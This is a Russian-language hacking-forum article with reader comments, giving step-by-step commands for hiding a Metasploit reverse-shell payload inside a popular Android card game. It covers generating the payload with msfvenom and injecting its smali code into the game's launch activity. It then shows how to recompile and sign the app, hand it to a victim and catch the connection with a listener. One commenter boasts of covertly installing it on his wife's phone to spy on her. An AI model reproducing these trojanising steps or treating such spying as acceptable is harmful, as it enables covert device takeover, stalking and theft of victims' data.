• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Статья Атака на Android

Перед атакой вам необходимо настроить проброс портов на своем маршрутизаторе, чтобы полезная нагрузка могла подключиться к машине с Metasploit Лучшим вариантом было подключиться к Интернету напрямую с белым IP адресом, но это слишком затратно. Настройка переадресации портов не так уж и сложна, но проверить её работоспособность может быть немного сложнее. Жалко только что данный подход нельзя использовать при работе через 3G модем, потому как ему изначально присваивается серый IP адрес и конечно же доступа к маршрутизатору провайдера для настройки проброса портов у вас нет.

В нашем случае ноутбук с установленным Metasploit-Framework имеет IP-адрес 192.168.1.102. Выберем порт 4444 в качестве рабочего порта для нашей полезной нагрузки, чтобы избежать путаницы. Я буду показывать пример на модеме TP-LINK, ваш маршрутизатор или модем конечно же может иметь другую Web-морду.
image001.png

image002.png

Теперь осталось создать троян:
#msfvenom -p android/meterpreter/reverse_tcp lhost=2.135.19.194 lport=4444 -o /root/gamestest.apk
команда проста : -p это payload в нашем случае реверсный meterpreter,
lhost внешний ip нашей атакующей машины, lport наш открытый порт
image003.png

Но скорее всего не кто такое приложение не запустит так в наше время тяжело будет убедить человека что это реальная программа.Одно из решений мы можем встроить полезную нагрузку в другое более актуальное приложения.Приложение будет работать и выполнять зловред перед запуском , таким образом, жертва не будет даже знать, что его система под угрозой.
Также будут нужны некоторые библиотеки и инструменты
Чтобы установить требуемые библиотеки, введите эту команду в консоли: apt-get install lib32stdc++6 lib32ncurses5 lib32z1
И получить последнюю версию ApkTool:
C установкой проблем возникнуть не должно скачиваете два файла wrapper script и apktool

image005.png

установка окончена:
Далее краткий обзор того, что мы собираемся сделать.
1.Декомпилировать полезную нагрузку и первоначальный apk
2. Скопировать файлы полезной нагрузки в первоначальный apk

3. Ввести полномочия в файле AndroidManifest.xml
4. Перекомпилировать первоначальный apk
5. Подписать apk приложением Jarsigner
В качестве приложения для хранения и скрытой пересадки троянчика я буду использовать
популярную онлайн игрушку скачанную на трешбоксе Дурак online

ДЕКОМПИЛИРУЕМ APK
#apktool d -f -o payload /root/gamestest.apk -данная команда декомпилирует наш созданный meterpreter.apk в папку payload папка создаться автоматически
#apktool d -f -o original /root/durak_online_v1.6.1.apk -команда сделает тоже самое но в качестве оригинального apk у меня карточная игра декомпилируем в папку original

image011.png
image010.png

Неплохо теперь мы должны скопировать файлы полезной нагрузки в папку исходного приложения. Просто перейти в /root/payload/smali/com/metasploit/stage и скопируйте все файлы
image012.png

Теперь вставить их в /root/original/smali/com/metasploit/stage Обратите внимание на то, что metsploit и stage нужно будет создать по умолчанию эти папки не существуют, таким образом, Вы должны создать их.
image013.png

Далее мы должны не много отредактировать smali код
На предыдущем шаге мы просто скопировали код полезной нагрузки в apk файл. Но это не означает, что полезная нагрузка будет работать. Чтобы гарантировать, что полезная нагрузка cработает, мы должны отредактировать .smali apk файла .
Для этого открываем файл AndroidManifest.xml, расположенный в /root/original папка с помощью любого текстового редактора
Так или иначе ищите <activity> ярлык, который содержит обе строки
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>

В моем случае, как Вы видите от скрина экрана ниже, это "com.rstgames.durak.StartActivity".
Те две строки, которые мы искали, показывают, деятельность, которая будет запускаться , когда мы стартуем уже установленное приложение средствами запуска

image014.png

Теперь, когда у нас есть названия функции, в которую мы хотим ввести ключ, давайте давайте найдем ее откройте .smali код той функции с помощью leafpad нужно заменить Activity_Путь "android:name” но вместо точек, введите наклонную черту наш путь com.rstgames.durak.StartActiviti
#leafpad /root/original/smali/com/rstgames/durak/StartActivity.smali не забываем дописать в конце .smali
image015.png
Теперь ищем следующую строку в коде smali с помощью поиск
;->onCreate(Landroid/os/Bundle;)V
вставляете следующий код в строке рядом с ним
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
который запускает полезную нагрузку рядом с существующим кодом, когда запускается приложение. Теперь, сохраните отредактированный smali файл.
image016.png

"механизм"«разрешения» который приводит в исполнение ограничения на определенные операции, которые может выполнить определенный процесс.
Если мы не укажем все дополнительные полномочия, в которых наша полезная нагрузка будет нуждаться, она не может функционировать должным образом.
давайте откроем AndroidManifest.xml исходного приложения original и полезной нагрузки payload. Полномочия упоминаются внутри <uses-permission> Скопировать дополнительные строки разрешения от AndroidManifest Полезной нагрузки, до одного исходного приложения. Но будьте осторожны, разрешения полномочий не должны повторятся.
После добавления полномочий от AndroidManifest
image017.png

ПЕРЕКОМПИЛИРУЕМ ORIGINAL APK
#apktool b /root/original
image018.png

У Вас теперь будет скомпилированный apk в деректории "/root/original/dist" каталог.
отлично но отстается только подписать apk без подписи приложения работать не будет
ПОДПИСАТЬ APK
Вам не нужен Studio Android, чтобы подписать Ваше приложение. Вы можете подписать свое приложение из командной строки, используя apksigner инструмент или сконфигурировать Gradle, Так или иначе Вы должны сначала генерировать закрытый ключ, используя keytool Например:
image019.png

#keytool –genkey –v –keystore my-release-key.jks –keyalg RSA –keysize 2048 –validity 10000 –alias my-alias создать ключ
#jarsigner -verbose -sigalg MD5withRSA -digestalg SHA1 -keystore my-release-key.jks /usr/local/bin/sign_durak_online_v1.6.1.apk my-alias подписать
Отлично осталось только подсунуть кому нибудь наш apk
После того как отправили троян заходим msfconsole

use multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
exploit

image004.png
и ждем отстука как жертва запустит файл получим meterpreter sessions.
всем спасибо за внимания всем удачного пинтеста

 

Вложения

  • durak-onlajn-1.6.5-1.png
    durak-onlajn-1.6.5-1.png
    271 КБ · Просмотры: 450
  • image007.png
    image007.png
    14,3 КБ · Просмотры: 416
J

jack_dali

А можно подробней как подписать apk. а так все классно спасибо за статью
 
Ш

Шляпник

Да интересно но подписать тоже не удалось использовал на Windows всякие проги а так актуально жене в место офф. месенджера подсадил трояна теперь слежу шаг в лево шаг в право расстрел
 

Tayrus

Red Team
13.04.2017
365
787
BIT
6
Для подписи приложения можно использовать ZipSigner на самом андроиде
 

arees

Green Team
08.10.2017
37
28
BIT
0
Кому как удобно мне кажется проще на kali сразу подписать
 
A

Andrey_Cerk

Для подписи приложения можно использовать ZipSigner на самом андроиде
***Скрытый текст***
Долбан кто будет собирать apk подписовать у жертвы на телефоне
Аккаунт переведен в режим "Только чтение" на 72 часа. Администратор.
[doublepost=1515235194,1515235156][/doublepost]можно подробней не получаеться подписать (((((((
 
Последнее редактирование модератором:

Tayrus

Red Team
13.04.2017
365
787
BIT
6
Долбан кто будет собирать apk подписовать у жертвы на телефоне
[doublepost=1515235194,1515235156][/doublepost]можно подробней не получаеться подписать (((((((
Вы следите за вашей речью... Не у жертвы собирать к на своём андроиде...
 

fakecop

Green Team
23.12.2016
105
26
BIT
1
Такой вопрос: не все же апк подвергаются декомпилированию и как с этим бороться?
 

fakecop

Green Team
23.12.2016
105
26
BIT
1
Помогите решить такую вот проблему
При декомпиляции и компиляции снова апктоол"ом (не внося никаких изменений) бьется приложение, что делать??
S80727-00175629.jpg
 

jonni_vu

Green Team
24.06.2017
43
8
BIT
0
Привет. при перекомпиляции выдает ошибку. в чем дело ? вставка кода пробывал несколько вариантов.


I: Using Apktool 2.3.3-dirty
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
original/smali/org/......./ui/LaunchActivity.smali[18374,19] The maximum allowed register in this context is list of registers is v15
original/smali/org/......../ui/LaunchActivity.smali[18374,62] null
Could not smali file: org/........./ui/LaunchActivity.smali

Ошибку устранил изменением java version
 

RNR

Member
03.02.2019
12
0
BIT
0
После выполнения данных манипуляция сессия метпретера запустится даже если цель будет за пределами нашей локальной сети ?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!